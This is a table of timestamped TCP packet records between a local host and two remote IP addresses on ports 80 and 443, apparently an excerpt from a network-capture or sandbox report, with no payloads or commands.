Dec 18, 2024 21:30:28.834187031 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.835120916 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.835164070 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.835341930 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.835381985 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.836144924 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.836366892 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.836411953 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.837202072 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.837403059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.837446928 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.838335991 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.838527918 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.838572025 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.839355946 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.839402914 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.839485884 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.840490103 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.840537071 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.840616941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.841473103 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.841517925 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.841660976 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.841702938 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.842473984 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.846223116 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.858985901 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.859056950 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.859086037 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.859132051 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.859149933 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.862222910 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.864837885 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.864883900 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.864924908 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.864963055 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.864984989 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.865011930 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.870960951 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.871005058 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.871048927 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.871084929 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.871104002 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.874205112 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.878289938 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.878336906 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.878366947 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.878396988 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.878416061 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.878442049 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.883392096 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.883444071 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.883471012 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.883502960 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.883522987 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.886229992 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.889784098 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.889802933 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.889866114 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.889898062 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.890208006 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.947597027 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.947623014 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.947735071 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.947768927 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.950226068 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.953896046 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.953917027 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.953953028 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.953974962 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.954024076 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.954063892 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.978991032 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.979171991 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.979233027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.979574919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.979612112 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.979813099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.979850054 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.980572939 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.980623007 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.980750084 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.980783939 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.981689930 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.981739998 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.981801033 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.981884003 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.982692957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.982744932 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.982894897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.983767033 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.983813047 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.983958006 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.984811068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.984857082 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.984961987 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.985891104 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.985935926 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.986008883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.986042023 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.986938000 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.986978054 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.987127066 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.987198114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.987977028 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.988029957 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.988177061 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.988214016 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.989038944 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.989094019 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.989196062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.989316940 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.990217924 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.990294933 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.990323067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.990397930 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.991233110 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.991286993 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.991442919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.991477966 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.992484093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.992621899 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.992666006 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.993304014 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.993464947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.993505955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.994421959 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.994623899 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.994669914 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.995457888 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.995558977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.995624065 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.995666027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.996546984 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.996606112 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.996726990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.996764898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.997680902 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.997723103 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.997843981 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.997885942 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.998655081 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.998703003 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.998780966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.998814106 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.999651909 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.999701977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.999919891 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.000718117 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.000761986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.000879049 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.001713037 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.001754999 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.001883030 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.002192974 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.002790928 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.002994061 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.003035069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.003848076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.004025936 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.004065990 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.004913092 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.005074024 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.005115986 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.006149054 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.006321907 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.006367922 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.007035017 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.007204056 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.007244110 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.008142948 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.008285046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.008327007 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.009109974 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.009155035 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.009341955 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.009385109 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.010166883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.010348082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.010390043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.011260033 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.011420965 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.011459112 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.012288094 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.012321949 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.012475014 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.012506008 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.013391018 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.013446093 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.013653994 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.013879061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.014476061 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.014513016 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.014609098 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.014848948 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.015588999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.015914917 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.015965939 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.016658068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.016766071 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.016815901 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.017621994 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.017812967 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.017848969 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.018682957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.018731117 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.018870115 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.018907070 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.019767046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.019810915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.019963980 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.019999981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.020908117 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.020942926 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.021203995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.021239042 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.022094011 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.022186041 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.022202969 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.022243977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.023037910 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.023072004 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.023139954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.024032116 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.024069071 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.024110079 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.024734974 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.025041103 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.025110960 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.025188923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.025222063 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.026092052 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.026138067 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.026271105 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.026324034 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.027148008 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.027194023 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.027326107 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.027367115 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.028285980 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.028407097 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.028455019 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.028733015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.029279947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.029325962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.029411077 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.029489994 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.030359030 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.030401945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.030509949 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.030550003 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.031486034 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.031589031 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.031642914 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.032449961 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.032609940 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.032653093 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.033526897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.033571959 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.033643961 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.033910036 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.034492016 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.034780025 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.050940990 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.051013947 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.051038027 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.051064968 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.051085949 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.051103115 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.057331085 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.057379007 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.057410002 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.057434082 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.057452917 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.057868004 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.062736988 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.062782049 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.062820911 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.062844992 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.062861919 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.062885046 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.069060087 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.069109917 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.069142103 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.069166899 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.069181919 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.069228888 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.075158119 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.075208902 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.075228930 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.075253010 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.075268984 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.075288057 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.081187010 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.081239939 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.081260920 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.081286907 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.081301928 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.081321001 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.139797926 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.139858007 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.139916897 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.139957905 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.139976978 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.142215014 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.145658016 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.145704985 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.145744085 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.145771027 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:29.145785093 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.145806074 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:29.171021938 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.171179056 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.171258926 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.171612978 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.171749115 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.171797037 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.172065020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.172105074 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.172704935 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.172887087 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.172924995 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.173840046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.174025059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.174072027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.174818039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.175034046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.175077915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.175962925 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.176004887 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.176229954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.176971912 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.177014112 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.177150011 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.178009987 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.178052902 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.178203106 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.179053068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.179095984 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:29.179227114 CET	80	49808	31.41.244.11	192.168.2.5
